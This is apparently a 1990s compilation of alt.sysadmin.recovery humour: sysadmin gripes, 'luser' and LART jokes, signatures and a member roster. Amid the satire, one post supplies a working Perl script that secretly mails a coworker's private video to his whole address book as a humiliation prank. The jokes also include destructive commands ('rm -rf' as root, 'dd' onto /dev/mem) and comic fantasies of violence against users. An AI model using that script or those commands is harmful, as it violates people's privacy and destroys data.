room, because the person that recieved the stuff said 'No, don't worry about moving it up, we'll get that done.') Answering the phones and secretarial work when the rest of the office is having a meeting or something. Any other make-work or spite-work they can conceive for us. In the past, this has included addressing 5000 envelopes, hiding all the cables so they didn't look so ugly, and interior decorating ("move that clock over a bit, a bit more, up a little, more, there!"). Recently, when we put boxes full of trash and peanuts outside our door for the cleaning crew to clear out that night, we discovered the boxes had been taken by other employees, leaving the pile of trash and peanuts in the floor. Of course, WE were tasked with cleaning up 'our' mess. I think it is a crying shame that systems people get so little respect, and so much grief. Our pay is substandard, our stress levels beyond belief. How many of you are still making under 30k after 4 years? I just broke that barrier. Barely. And this with 5 years of prior experience. %% "The superior pilot uses his superior judgement to avoid situations in which he needs to demonstrate his superior skill" (Esp. with a 7 year old on board) |> Sounds like my place of employment.... There are 7 men and roughly |> 50 women... the dress code is much stricter on s than it is on them. |> I too would dearly love to ditch the damned noose. *sigh* OK I'll trade you sneakers and t-shirts for your noose and 50 women. |\ _,,,---,,_ +-----------------------------+ ZZZzz /,`.-'`' -. ;-;;,_ | Isn't there always a cat | |,4- ) )-,_. ,\ ( `'-' | on whatever you're reading? | '---''(_/--' `-'\_) +-----------------------------+ You make a grown man cry, | / | / You make a grown man cry, |< | <- @hearn.com My eyes dialate, my lips go green, | \ \/ | \ Win95 is the worst O/S I've ever ever seen. / Hey, it compiles! Ship it! ---------========== J.D. Falk =========--------- | "The First Amendment was designed to protect offensive speech, | | because nobody ever tries to ban the other kind." | | -- Mike Godwin, staff counsel, EFF | ----========== http://www.cybernothing.org/jdfalk/home.html ==========---- %% "How do you increase filesystem space for your cdrom?" By transparantly mounting a 1GB filesystem over the CDROM. "Name 3 reasons why this machine is different from DOS." 1) DOS is a program, the machine is hardware. 2) DOS is designed for an 8088 processor, this machine is designed for an 80486 processor. 3) DOS allows you to run Windows. This machine allows me to run UNIX. "Where do you have your root password written down?" In the file ~phaedrus/pi1000000.uu, somewhere. It might not be adjacent characters. Try all combinations... -- -- Buddha Buck bmbuck@acsu.buffalo.edu "She was infatuated with their male prostitutes, whose members were like those of donkeys and whose seed came in floods like that of stallions." -- Ezekiel 23:20 >Not me. As soon as the first signs of senility set in, it's me for a fatal >accident and a cryonic suspension. Life in that condition isn't worth the >living. Naw, you should go out with a bang. Rob the local bank, or (more to my taste) climb the nearest tower and let the local SWAT team sort it out. None of that dwindling away to nothing for me, no, sir. %% I'm working Saturday, as usual, and a guy walks into the office... "I'm trying to get an e-mail account on the World Wide Web," he says. After I stop, I tell him why I was laughing. And then he's PO'd at me... (Sheesh. LART![1]) But this incident gets me thinking. Why does this luser think he has any kind of a clue? Why? What could have implanted the idea in his head that he, Mr. J. Random Luser, was competent to use the technobabble reserved for people who know what they're talking about? I developed a theory. It's somewhat related to the Anthropic Principle of Cosmology. I believe I will call it the "Lusethropic Principle." Let me tell you what it is... * The easier computers are to use, the stupider the userbase will be. There are two corollaries, which are (respectivly), "The weak lusethropic principle" and "The strong lusethropic principle." - The Strong Lusethropic Principle states: "The more idiot proof the software, the more it encourages the user to be careless and not think. Therefore, idiot-proof software actually encourages, contributes, and actually CAUSES lusers to be stupid." - The Weak Lusethropic Principle states: "As more idiot-proof software becomes avalable, more idiots are able to use computers. Idiot-proof software did not make or cause computer lusers; it simple allowed lusers to use computers where they could not before." Most of the time, I'm definitly in the "Weak Lusethropic Principle" camp. I think that there were always lusers of some sort or another; it's just that right now, they happen to be using computers.[2] However, there are certain people[3] that, at times, punt me right into the other camp... -Ben ----- [1] Why don't I bring my LART to work with me? Why? Why??[4] [2] Read: MAKING MY LIFE HELL! [3] COU-"email account on the world wide web"-GH! [4] Oh yeah, it doesn't fit in my backpack... << This started me to thinking about a complaint a friend of mine (and myself, on numerous occassions) made regarding cheap hardware. I think that it now must become the Luser Programming Principle. It states: * The cheaper the hardware and RAM, the sloppier/looser the code. (For a proof of this principle, see Microsoft.) What's scary is if the Luser Programming Principle and the Strong/Weak Lusethropic Principles get combined. Cheap hardware, "idiot-proof" "visual" development packages, lusers with no understanding of computer internals coding. %% Russ "raised on VAX BASIC, flirted with Pascal, and now happily productive in Perl with occasional flings with C on the side" Allbery ***It has been determined that you can get far more*** ***cooperation from a luser using a kind word and a 2X4*** ***then with a kind word alone*** `The world is a good place to be when you have just eaten a few gallons of raw fish and you can feel another "burp" coming.' -- Linus Torvalds to the linux-kernel mailing list. >wtf is "Barney the dinosaur" ? You lucky bastard. You lucky, lucky bastard. Bill Beckner - Sysadmin for the RSA (because they told me to.) == Vasily, give me one ping; one ping only... == Adam Atkinson - ghira@mistral.co.uk / etlaman@etlxdmx.ericsson.se We know Jesus must have been Italian for three reasons: He lived at home until he was 30, he thought his mother was a virgin, and she thought he was God. %% | They make great coffee mats. If AOL keep sending them to me I'll soon | have a set of twelve shiny new coffee mats. Any other ideas peeps ? They're great for sports: Take a luser, an AOL disk and your favourite double-barreled LART outside. Have the luser throw that disk in the air, lart it in mid-air and let the luser figure out what you got the second barrel for. %% -- Jim Anderson (612) 782-0456 AOB Acquisition Corp. jim@aob.mn.org 3800 Apache Lane NE Lucifer designed MS-DOS to try men's souls. St Anthony, MN 55421 > The Bible is after-the-fact Tech Support, who will tell you anything > to keep you happy and keep you buying into the Product. When an old Mac failed to boot 'cause the disk didn't spin up, we put in a call to Apple's tech support; their solution was to open the case and "give the disk a good smack." Granted, it's certainly a proper solution for disk stiction problems, but there's nothing more satisfying than having official sanction to beat a recalcitrant machine into submission. _ _ _ _ _ _ |_| |_| |_| / |_| | _| |_ |_ /_ |_ | @nconnect.net Thus spake the Master programmer: "After three days without programming, life becomes meaningless." }: "After three days without Pascal, life became Wirthless." }"After three days with Pascal, Wirth became lifeless." "After three days without Perl, life was Wallful." %% A friend of mine wanted to buy either 4 or 6 Sparc 5's from Sun. By buying that many he was eligible for one of those Java coffee sets which they're (or at least were) giving away with bigger purchases. Eventually the salesdroid calls back: SD: I'm really sorry but we don't have any more of the Java coffee sets. We can give you individual Java mugs if that's OK with you. BOFH: Oh that's OK, I'll have to go without then. SD: That's most reasonable of you, we tried to get you the coffee set but there seem to be no more available, if you're prepared to go without... BOFH: No I didn't mean the coffee set, I meant the Sparc 5's. If I don't get the coffee set I won't get the Sparc 5's either. SD: Let me get back to you on this. At this point Sun go to their equivalent of DEFCON 5. Some time later: SD: We've been trying to get this coffee set for you but there are no more available anywhere, all the ones produced have been allocated. BOFH: In that case you can keep the Sparc 5's. SD: Please? BOFH: No. SD: Look, go to any shop you like, buy any coffee set you like, send us the bill, we'll cover it. BOFH: I'm sorry, but I want a Java coffee set. If I don't get one, I'm not getting the computers either. SD: thud. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- jbaker@themis.ag.gov.bc.ca | To err is human; to really Systems Administrator, Information Systems | bugger things up requires BC Family Maintenance Enforcement Program | the root password. +-------------------------------------------------------------------------+ | Pete Nelson (weasel@ecis.com) | "Gaze fondly upon today, for tomorrow | | | is bound to suck even worse." | +-------------------------------------------------------------------------+ %% : >Times like this you want a 0.5 Kiloton : >Tactical-LART with people recognition software. : YM Perl[1]. : [1] Insert Larry Wall's quote here. This one? josh - who gets an awful lot of mileage outta the second one. -- "Perl is the language of choice for net abuse" -- Larry Wall "No, I'm not going to explain it. If you can't figure it out, you didnt want to know anyways..." -- Larry Wall %% I knew it!! This explains everything!! Important Theological Questions that are Answered If we Think of God as a Computer Programmer. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Q: Does God control everything that happens in my life? A: He could if he used the debugger, but it's tedious to step through all those variables. Q: Why does God allow evil to happen? A: God thought He eliminated evil in one of the earlier versions. Q: Does God know everything? A: He likes to think so, but He is often amazed to find out what goes on in the daemon scripts. Q: What causes God to intervene in earthly affairs? A: If a critical error occurs, the system pages Him automatically and He logs on from home to try to bring it up. Otherwise things can wait until tomorrow. Q: Did God really create the world in seven days? A: He did it in six days and nights while living on Jolt and candy bars. On the seventh day He went home and found out His girlfriend had left Him. Q: How come the Age of Miracles Ended? A: That was the development phase of the project; now we are in the maintenance phase. Q: Will there be another Universe after the Big Bang? A: A lot of people are drawing things on the white board, but personally, God doubts that it will ever be implemented. Q: Who is Satan? A: Satan is an MIS director who takes credit for more powers than he actually possesses, so nontechnical people are scared of him. God thinks of him as irritating but irrelevant. Q: What is the role of sinners? A: Sinners are the people who find new and imaginative ways to mess up the system when God has made it idiot-proof. Q: Where will I go after I die? A: Onto a DAT tape. Q: Will I be reincarnated? A: Not unless there is a special need to recreate you. And searching those .tar files is a major hassle, so if there is a request for you, God will just say that the tape has been lost. Q: Am I unique and special in the universe? A: There are over 10,000 major university and corporate sites running exact duplicates of you in the present release version. Q: What is the purpose of the universe? A: God created it because He values elegance and simplicity, but then the users and managers demanded He tack all this senseless stuff onto it, and now everything is more complicated and expensive than ever. Q: If I pray to God, will He listen? A: You can waste His time telling Him what to do, or you can just get off His back and let Him code. Q: What is the one true religion? A: All systems have their advantages and disadvantages, so just pick the one that best suits your needs and don't let anyone put you down. Q: Is God angry that Jesus was crucified? A: Let's just say He's not going to any more meetings if He can help it, because that last one with the twelve managers and the food turned out to be murder. Q: How can I protect myself from evil? A: Change your password every month and don't make it a name, a common word, or a date like your birthday. Q: Some people claim they hear the voice of God. Is this true? A: They are much more likely to receive email. Q: What was Aramaic? A: The original Higher Order MACRO Language. Q: What does that make Ancient Hebrew? A: Aramaic++ Q: Why don't we see God at work? A: God works at interrupt level. When He wants to do something, He suspends our processes, saves our registers and status, and swaps us out. Then He works His will on the world. Then He swaps us back in, restores our registers and status, and resumes our execution. To us, things appear to change by magic. %% #include /* Sten Drescher */ ObCDABait: For she doted upon their paramours, whose flesh is as the flesh of asses, and whose issue is like the issue of horses. [Eze 23:20] Unsolicited email advertisements will be proofread for a US$100/page fee. Quote For The Month: "[Computer Advocacy groups] are intended to be a place where people can argue... in an intelligent manner" -- == Karl Wiebe == karl@dnai.com == "Order is a form of repetition compulsion" --Freud "Order is a form of repetition compulsion" --Freud "Order is a form of repetition compulsion" --Freud %% : Hello there, : after installing a new router/subnet, all IPaddresses and subnet mask : had to be changed here. Everything worked great on the NT stations ... : On the Suns I only edited the /etc/hosts file (I guess subnetmasks and : others??? needed changes too), shutdown and booted. : NOW the servers is in an endless sequence with the error message : rpc.lockd: Cannot contact status monitor : PLEASE, how can I interrupt this, get at least to the old configuration : and boot ... : Thanks for any help Ooo, I can help! First you must realize that you have angered the great computer gods and must appease them before your system will ever work again. Start by kneeling before the computer and praying 'Oh great computer gods, forgive me thy peon for being so incompetent as to have broken thy system. Please have mercy on me and repair thy system and I vow never to make such a horrible mistake again. In the name of the kernel, the sendmail.cf, and the magic smoke. Down, Not Across.' If that doesn't work, you must have really angered the computer gods, and they require a sacrifice to appease them. Start by grabbing the nearest luser (er, don't look in a mirror before doing this), killing them (make sure the body is well hidden!) and obtain a cup or so (you might needs as much as a gallon) of their blood. Sprinkle the blood on and around the computer while chanting 'Down, Not Across'. Then sit before the blessed computer screen, log in as root and type 'rm -rf'. (You might need to put the computer in the holy sysadmin mode before doing this.) If that still doesn't work, then you've really done it and the computer gods demand the secret rite before your system can be fixed. Start by running around the computer screaming 'Down, Not Across' while ripping off your clothes. Once you are naked, start dancing and tearing at your hair and don't forget to continue screaming 'Down, Not Across'. The final act in the ritual is to set fire to your computer and prostrate yourself before the holy glow and beg the computer gods for mercy. Following these steps will most assuredly solve your problem. HTH! --Leigh %% Has anyone ever considered a more formal rating of lusers. I thought of something along the lines of: (l)user can probably format a floppy & remember a password 1 time in 3 [1] luser the kind we all love - the quick LARTing with a cattle-prod type Luser the ones who can really get up your nose - the ones requiring LARTING with a blow torch LUSER the industrial strength type who deserve real violence and a slow painful death.. [1] You can LART them with a bit of mental cruelty and a few quick keystrokes [[2] With one of those old solid AT keyboards [3] [3] Across the back of the head [4] [4] At least twice! [5] [5] I like footnotes... %% America!! I saw it all!! Vomiting! Waving! JERRY FALWELLING into your void tube of UHF oblivion!! SAFEWAY of the mind -- ======================================================================= Note: Unsolicited commercial email proofread @ $250.00 / hour, min 2 hours Microsoft Network (MSN) may purchase the rights to resell this message to their customers for $15,000 US. All others granted use free-of-charge. (C)1996 ======================================================================= %% >Pity he hasn't listed a fax number. > >The old fave for irritating faxes is to take a length of cheap computer output >paper, write your message on it at a rate of a couple of letters per sheet, >and send it to him. > >For extra bite, wait until the first few sheets have fed through, then attach >the front to the other end of the paper, so you have a closed loop. Then just >let it run for a while. Not forgetting to turn off the originating-fax-info to stop him faxing you back. Nope, you forgot. This is asr. What you really want to do is fire up some fax software (it will generate cleaner images, transmits the result faster, so wastes the far end quicker) and ... fax him your uuencoded core dumps. >He'll get the message after the first few hundred sheet, depend on it... Probably not. %% -- Garph Don't send me your junk mail... You won't like it... >Yep, they're called dragons because they're nasty. In that case, the >term dragon is actually a racial slur. In these enlightened days, >might I suggest as a substitute 'Reptiles Of Unusual Size'? ...or (tongue planted firmly in cheek): subtlety-challenged reptiles. [1] Respected BBC Radio news programme that's on while I'm driving to work, just before I wake up. %% >: There's got to be a root there somewhere... >Hmmm...ponders a bit... > >*Runs out to the car and grabs an AOL disk, installing for the first time. >*What username do I want? Hmmm...is root available? > > >Imagine being able to send mail from root@aol.com and be legit. ba> Someone at a local unix users' group a while ago said he did something ba> like that. He tried to get "root" as an account and it was either ba> taken or otherwise blocked. After trying a few other unusual account ba> names, he eventually tried, and got, "uucp". ba> uucp@aol.com ba> He said he gets some really strange email at times. I wonder if 'mailer-daemon' is available? Then you could find out who's stupid enough to keep replying to bounce messages ;-) [1] Tim. [1] Or send some of your own, in reply to messages people never wrote: "Sorry, your mail to 'whips-and-chickens-list@pervert.org' [2] could not be delivered. The host is busy.[3]" [2] Search me. I don't have any dns tools to hand, has anyone registered it? [4] [3] It would be, I guess ;-) [4] And it wsn't intended as CDA-baiting either. But it should do the job nicely now that you mention it. Anyway, in a sysadmin group, everyone is fundamentally warped anyway, no? ... Nice computers don't go down. %% -- "Perl is the language of choice for net abuse" -- Larry Wall "No, I'm not going to explain it. If you can't figure it out, you didnt want to know anyways..." -- Larry Wall %% >>>Me: We have 7 grace logins. Did you get a message saying >>> "Your password has expired, you have 7..6..5 logins, >>> Do you want to change it now?" > >-kate, the thing should say "You must change your password now. Type yes >to be taken to the password changing screen." No, it should say "Each time you answer `no', I will delete one random file from your account and copy one random mail folder of yours to your boss or somebody above him. Do you want to change it now?" "Ok, deleting MastersThesis.tex and copying `hotstud' to the Dean" %% It's too easy to go after support types. Their so abused that they flinch when you look at them. Go after the managers. At least they shoot back. Users, n.: The parts of a computer system that can be kicked off. - Greg Andrews (gerg@netcom.com) -=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+=-=+ DoD #1818 / Out of the desert and into \ / your hard disk. ______ /---\e| / '94 EX500 /____ \__/ /\ / -> rogersb@nevada.edu <- Yes, just the oo//-\ . / \\oo / one. I'm new. oo==oo \______/ oo==oo / What does this button do??????? ZZZZOOOOOOOM! oooo oooo / ============================================================================== Bryant Durrell http://www.innocence.com/ durrell@innocence.com ------------------------------------------------------------------------------ "The Net interprets censorship as damage and routes around it." -- John Gilmore -- Cos (Ofer Inbar) -- cos@leftbank.com cos@cs.brandeis.edu -- The Left Bank Operation -- lbo@leftbank.com http://www.leftbank.com/ When the installation is completed, the message "Installation Complete" will be displayed. -- dialog box during Solaris 2.4 installation | Alan Connell. alan.connell@ces-cdr.be | I only work here. I do not speak for my employers. | I haven't lost my mind; I have a tape back-up somewhere. ObASR: Solaris. -- ___________________________________________________________________________ kate@rigel.econ.uga.edu|Join the Million Geek March! http://march.tico.com blaze.cba.uga.edu/~kate|I don't speak for UGA, group-mentors, or the Cabal. %% > >Hmm. I just finished a degree at a university. I got all sorts > >of interesting knowlege in things like Mediaeval History, Latin, particle > >physics, theory of computation, etc etc. Very little of it has much to > >do with sysadmin, but I don't really care. Frankly I'm of the opinion that > >there is such a thing as a well rounded individual. I'd sure hate to only > >know about stuff relevent to my job. > Well, I don't know about all those courses being irrelevant to SysAdmining...Let's take a look at the one's you listed... Medival History--An interesting survey of the methods and instruments of torture during the Dark Ages. Particle Physics--Learn how to make the ultimate particle-beam LART, for those truly annoying lusers. Latin--Still used in certain Black Magic/k ceremonies, especially those used when sacrificing virgin hard drives in a desperate last-ditch attempt to restore a crashed system. Theory of Copulation--Oops. Typo. The Registrar's office was wondering why there was a 800 student waiting list for this one.... Hmm...All seem to have *SOME* relevance... %% Bek> 21. Filling /dev/null cat /dev/zero > /dev/null *Don't* background it, just sit there looking at it. Tell everyone "I'll get back to you as soon as this here job is finished". Very relaxing. %% Simon Burr simes@tcp.co.uk Simon the Stressed John Vaughan john@tcp.co.uk John the Unstable Debbie Schwartz das@halcyon.com Debbie the Gruesome Tom Salyers tsalyers@dimensional.com Tom the Sarcastic D.S. Ritter dan@tao.core.binghamton.edu Dan the Incongruous Douglas R. Floyd dfloyd@io.com Doug the Doomed Ray Saddler saddler@sashimi.wwa.com Ray the Enigmatic Tim Cannon tcannon@senco.com Tim the Terrible Tom Yates madhatta@mathworks.com Tom the Mad Eric Pederson eric@winternet.com Eric the Ornery Steve Early sde1000@cam.ac.uk Merlin the Mug Dylan Northrup northrup@chem.ufl.edu Dylan the Doc of X Gian-Paolo Musumeci musumeci@gpx.lis.uiuc.edu Gian-Paolo the Miraculous David Klingler klingler@sprint.net David the Scarce Lusty Wench lusty@aimnet.aimnet.com Lusty the Naked Chuck Farmer csfarmer@prairienet.org Chuck the Caffenated Peter Evans peter@gol.com Peter the Rabbit David W. Rankin Jr. rankin@otbsvcs.garrard.ky.us David the Calm Jessica McGeary jmm25@po.cwru.edu Jess the Twitchy Mary Conner trif@serv.net Mary the Weary Lee Ann Goldstein lgoldste@lafn.org Lee Ann the Loony Jeff Blank jfblank@mtu.edu Jeff the Derogatory Jan Kujawa kujawa@montana.com Ivor the Unsleep cd skogsberg cd@alfakonsult.se David the Headcase allan stojanovic als@e-commerce.com Allan the Perpetually Exausted Bill Paul wpaul@ctr.columbia.edu Bill the Infinitely Prolonged David Hobson David@nazca.dircon.co.uk David the Dangerous Morpheus gtc@panix.com Morpheus the Aptly Named Sir-Not-Appearing-In-This-Film William Beckner wbeckner@darkstar.rsa.lib.il.us William the Cursed Jim Rush jimrush@indirect.com James the Lurker Alistair J. R. Young avatar@arkane.demon.co.uk Al the Addled Kevin L Prigge klp@gold.tc.umn.edu Kevin the Re-engineered Aahz aahz@netcom.com Aahz the Nauseating Ray osuaggie@aol.com Ray the Aggie Nick Cuccia cuccia@talamasca.com Nick the Incomprehensible Martin Hargreaves martin@datamodl.demon.co.uk Martin the Hostile Curtis Desjardins curtis@ophelia.waterloo.net Curtis the Harumph-y Tim Senior tvs1000@cam.ac.uk Tim the Sorcerer Petro petro@suba.com Petro the Perturbed Matthew Crosby crosby@cs.colorado.edu Matthew the Masochistic Bryant Durrell durrell@innocence.com Bryant the Cynical Tim T. timt@iaehv.nl TimT the Sourceror Rico Jansen rico@vpro.nl Rico the very Blunt Tony Ellis aje@gippstafe.vic.edu.au Tony the Tyrannical Gary Barnes gkb@bofh.org.uk Gaz the Mercenary Timothy J. Miller tmiller@ims.advantis.com Tim the Enchanter Thomas Molina tmolina@probe.net Tom the Confused Heather Garvey hlg@po.cwru.edu Heather the Surly Phil Dye pmd@tcp.co.uk Phil the Peeved Peter Juul rockbear@DK.net Peter the Baffled Derek J. Balling dredd@megacity.mixi.net Derek the Humourous Barnaby Brown barnes@ucc.gu.uwa.edu.au Barnaby the Inconceivabl Jake Kesinger kesinger@math.ttu.edu Jake the Tired Doug McNaught doug@hal.towson.edu Doug the Demonic Sean D. Ennis ennis@wpg.ramp.net Sir Lart-a-lot Joakim Rastberg jor@xinit.se Joakim the Uninterested Trevor Kirby Trevor.Kirby@newcastle.ac.uk Trev the Unlocatable Mike Knell mpk@bofh.lspace.org Mike the Moderate Michael Driscoll fenris@lightspeed.net Mike the Slackful Shawn ghost@iit.edu Shawn the Multi-tasking Sten Drescher stend@grendel.texas.net Sten the Savage Koos van den Hout koos@kzdoos.xs4all.nl Koos the not-very-well-organized JD Falk jdfalk@cybernothing.org J.D. the Initialed Sean B Purdy sean@fastnet.co.uk Sean the Extremely Laid Back Piers Cawley pdcawley@ftech.net Piers the Fat Pete Ehlke pde@io.com Pete the Impaler Warren R Carithers wrc@cs.rit.edu Warren the Bellicose Mark Brady bssc@hic.net Mark the Missing Robert Allison rea@magi.com Robert the Bruce David Rowland djr@dr.att.com Dave the Dreaded Kevin R. Gee geek@caldera.com Kevin the Geek Kate Wrightson kate@rigel.econ.uga.edu Kate the Glum Kathleen Luce kathleen@west.net Kathleen the Sardonic Justin Gillbank jagged@libfe.liberty.com Jagged the Twisted Mark Stapleton mstaple@insync.net Mark the Listless Ed Allen era@wilcox.com Ed the Simple Claudio Calvelli clc@fma.com Claudio the ObTerrorist D. Joseph Creighton djc@cc.umanitoba.ca Joe the Pretentious Rebecca Gray rgray@awod.com Rebecca the Boingy Peter deFriesse peter@oitunix.oit.umass.edu Peter the Grump Geir Emblemsvag geirem@ifi.uio.no Geir the Gloomy Kyle Hearn kyle@hearn.com Sir Loin of Beef Craig Falconer cf@papanui.school.nz Criggie the Weird Mark Haseelden markh@psinet.net.au Mark the Wary Jerry Leslie jleslie@dmccorp.com Jerry the Geriatric Electel electel@apk.net Electel the Exhausted Peter Dalgaard p.dalgaard@biostat.ku.dk Peter the Pedaller Eric Eisenhart eric@*.eisenhart.com Eric the Eclectic Jasmine Sailing jsailing@netonecom.net Jasmine the Scarab Chas chasb@dnai.com Chas the Obstinate Russell Miller rmiller@toledolink.com Russell the Frustrated Uwe Schuerkamp hoover@dim.chemie.uni-bielefeld.de Hoover The Horrible Daniel R. Finn danfin@infinet.com Dan the Demented Phil Burg Phil.Burg@anu.edu.au Phil the Erratic Clare West clare@cs.auckland.ac.n The dreaded 'c' word Rob Simpson taxis@actrix.gen.nz Rob the Unobtainable Darren L. Gasser d_gasser@a1.premier.org Darren the Cathartic Richard W Kaszeta kaszeta@me.umn.edu Richard the Destroyer Ned Brickley ned@empire.net Ned the Psychotic %% I know a lot of you look at Linux with scorn. To each his/her own, right? But comparing it to win95? Apples & ornages. Oh sure, win95 will run more reliably than win3.11, then again, what doesn't. Try setting up a win95 box as the office server, and we'll talk again. All true wisdom is found on T-shirts. -- perfectlittledream thekindthathurtsthemost forgothowitfeels well almost Nathan A. Hill Mildly twisted, kinda bent, thoroughly warped nhill@richnet.net nah2@po.cwru.edu nhill@clubbob.org Willing to trade body parts for computer equipment ================================================================ Mike Mohr, Database Administrator === Email: mmohr@ait.ac.nz Information Technology Group === Phone: 64 9 307-9999 x8133 Auckland Institute of Technology === Fax: 64 9 307-9902 PO Box 92006, Auckland, New Zealand = ================================================================ Turbo-brain in use -- subj#ect to misfire unless well lubricated ================================================================ -- Douglas R. Floyd Finger for notes on commercial, unsolicited "junk mail" and disclaimer. "Linux was made by foreign terrorists to take money from true US companies like Microsoft." -- Some AOL'er. -- Bill Davidsen (davidsen@tmr.com) "The secret to procrastination is to put things off until the last possible moment - but no longer" -me Let's see...How does that ancedote go again???? Client: "This isn't what we wanted!!" BPFH: "But it's what you asked for." Client: "But it's not what we *WANTED*!!" The only thing scarier than a sysadmin with a screwdriver is a programmer with the root password. The worlds 3 scariest things: A hardware guy with a software patch A software guy with a soldering iron A Luser with an idea %% /* There is a hole in this line */ sinclair = malloc(..); /* Truth is a 3 edged sword */ if (foo) foo.1; else foo.2; /* You are finite, Zathras is finite, this is wrong loop */ for (you=1;you-> Onno Hovers (onno@stack.urc.tue.nl http://www.stack.urc.tue.nl/~onno/) Student physics at the University of Technology Eindhoven Computer geek: C, Win32, Linux, Internet, Operating Systems This is .sig v.0.9 build 365, Copyright (c) 1996, Me, All rights reserved ------------------------------------------------------------------------- "Do I look like someone who cares what | It is interesting that I work in God thinks?" | one of the two industries in the | world that call their customers -- out of Hellraiser Bloodlines | "users." ------------------------------------------------------------------------- %% > We've recently been coming up with more things to do to our pet luser. > Recently he's deleted all his nudy pictures, but I noticed him today running > a shell script. For some reason he ran a script to mpeg_play an mpeg file, > then delete it immediately. But he didn't hit the 'exit' button when it > finished, so it was just hanging there. So, we came up with an idea to alias > mpeg_play to a script which uuencoded the mpg and mailed it to everyone > in his .addressbook (after grep -v'ing it for himself of course) as well as > playing it (so he wouldn't be suspicious). The reason we haven't implemented > it yet, though, is I'm a bit worried about the size of the uuencoded files > breaking our mail server. Now, if I can just mail it out in bite-sized > chunks.... Here, i've written a perl script that might just fill the bill :) - -kuj #!/usr/bin/perl # bofh.pl # forks data of questionable repute to people in luser's .addressbook # assumes pine .addressbook format (duh...) # Written by Jan Kujawa # Based on an idea by Rob Blake $HOME=$ENV{'HOME'}; $MAILSIZE=16384; # how big of a chunk each message will be $DELAY=20*60; # 20 minutes time sixty seconds/minute $me=`whoami`; $where=`hostname -f`; chop $me; chop $where; $myaddress="$me\@$where"; $search="/$me/i"; $tmpname=`date|tr ' ' _|tr ':' .`; chop $tmpname; $tmpname=".$tmpname.$me"; $header="From: $myaddress\nTo: nobody\@localhost\nSubject: I've been a Baaad boy! Wanna see??? Decode this file! ($ARGV[0])\n"; open(BCC, "$HOME/.addressbook") || die "No .addressbook!\n"; while() { chop $_; @inline=split(' ',$_); $address=pop(@inline); if($address ne $myaddress) { $header = $header."Bcc: $address\n"; } } $header="$header\n"; $res = system("cp $ARGV[0] /tmp/$tmpname"); if($res) { die "copy problems!\n" } $filesize = `wc --bytes /tmp/$tmpname`; @fs=split(' ',$filesize); $filesize=@fs[0]; $iterations=int($filesize/$MAILSIZE); $leftover=$filesize%$MAILSIZE; $messages=$iterations; if($leftover) {$messages++}; for($i=0;$i<$iterations;$i++) { $messno=$i+1; $MESSAGE="Hi! I'm looking at nasty X-rated files. If you want to, too, then just save,\n uudecode, and cat togeather all of the message"; $skip=$i*$MAILSIZE; $uuname=$ARGV[0]."_number_".$messno."_of_".$messages; $ddout=`dd bs=1 if=/tmp/$tmpname skip=$skip count=$MAILSIZE|uuencode $uuname`; print $header,$MESSAGE,$ddout,"\n"; sleep $DELAY; } if($leftover) { $messno=$messages; $MESSAGE="Hi! I'm looking at nasty X-rated files. If you want to, too, then just save, \n uudecode, and cat togeather all of the message"; $skip=$iterations*$MAILSIZE; $uuname=$ARGV[0]."_number_".$messno."_of_".$messages; $ddout=`dd bs=1 if=/tmp/$tmpname skip=$skip count=$leftover|uuencode $uuname`; print $header,$MESSAGE,$ddout,"\n"; } system("rm /tmp/$tmpname"); %% =========================================================================== Eric L. Pederson | eric@winternet.com | You there! Put your hands in Troublemaker and | eric@geeks.org | the air and step away from the System Administrator | eric@bofh.org.uk | keyboard *blam* or I'll shoot! =========================================================================== Vinny No Sig No Home Page No Sleep Paul Tomblin (ptomblin@xcski.com) My home page "GNU is not Linux - Linux has a kernel that boots" - Chris Thompson =========================================================== Emile Heyns email: emile.heyns@hta.nl =========================================================== Alla sani sa mi e taki na ini disi email na mi denki wawan -- A no abi fu de dati mi wrokope abi na sem denki. =========================================================== Always borrow money from a pessimist; he doesn't expect to be paid back. Judging by the evidence on the Internet, the most difficult C expression to use is the comment. [1] [1] Stolen from someone's sig. -------------------------------------------- There are 2 Kinds of planes: Fighters, and targets. There are 2 Kinds of boats: Submarines, and targets. There are 2 Kinds of O/S's: Unix, and brain-farts. -------------------------------------------- Jeff Smoley jeffics@gate.net "The pen is mightier than the sword, <=======================================}]|//////////////|[{o but the sword hurts more." Simon Burr | SysAdmin and Programmer, TCP Ltd simes@tcp.net.uk/simes@bofh.org.uk | http://www.tcp.co.uk/staff/simes/ I *don't* speak for my company, my boss does that cd /pub/lunch || dd if=/dev/zero of=/dev/mem %% ---------------------- cut here ---------------------------------- #!/usr/local/bin/perl # Luser Attitude Readjustment Tool $SIG{"INT"} = 'noexit'; $| = 1; $luser = $ARGV[0]; if($#ARGV == 1) { $display = $ARGV[1]; exec("xterm -title BOFH -fg black -display $display -e $0 $luser"); } if( $display =~ /0\.0/) { system("cat clickety-click.au > /dev/audio"); } $dir = (getpwnam($luser))[7]; print "examine files in $dir ?"; &pause; print "y\n\n"; @files = <$dir/*>; foreach (@files){ print "remove $_?"; &pause; print "y\n"; } print "remove $dir ?"; print "y\n\n"; sleep 1; print "\nCongratulations! You now have four megs disk space.\n\n"; sleep 4; sub noexit { $SIG{"INT"} = 'noexit'; print "\n\nheh heh heh...\n\n"; &pause; } sub pause { # 0.2 second delay select(undef, undef, undef, 0.2); } -------------------cut here--------------------------------- %% Jonathan D. Woytek -----=====*=====----- Systems Programmer | | Phone: (412) 396-4790 | C C I T | Center for Communications Office: Computer Room | | and Information Technology -----=====*=====----- at Duquesne University *** This .sig created with vi--the only way to edit! :) *** ---------========== J.D. Falk =========--------- | "There are two major products that come out of Berkeley: | | LSD and [BSD] UNIX. We don't believe this to be a coincidence." | | -- Jeremy S. Anderson | ----========== http://www.cybernothing.org/jdfalk/home.html ==========---- Every 1.5 years computers double in speed... ...then Windows slows them down again... Micro$oft: "Bringing you ten year old technology, tomorrow. Maybe." %% Active Voice Passive Voice ------------ ------------- Present. I lart, I am larted / I am being larted Future Simple I shall lart, I shall be larted Imperfect I was larting, I was being larted Perfect I have larted / I larted, I have been larted / I was larted Future Perfect I shall have larted, I shall have been larted Pluperfect I had larted, I had been larted Imperative Lart! / Let him lart! Be larted! / Let him be larted! Present Infinitive to lart to be larted Perfect Infinitice to have larted to have been larted Future Infinitive to be about to lart to be about to be larted Gerund the larting Gerundive fit to be larted Supine in order to lart in/for/etc. larting Present Participle 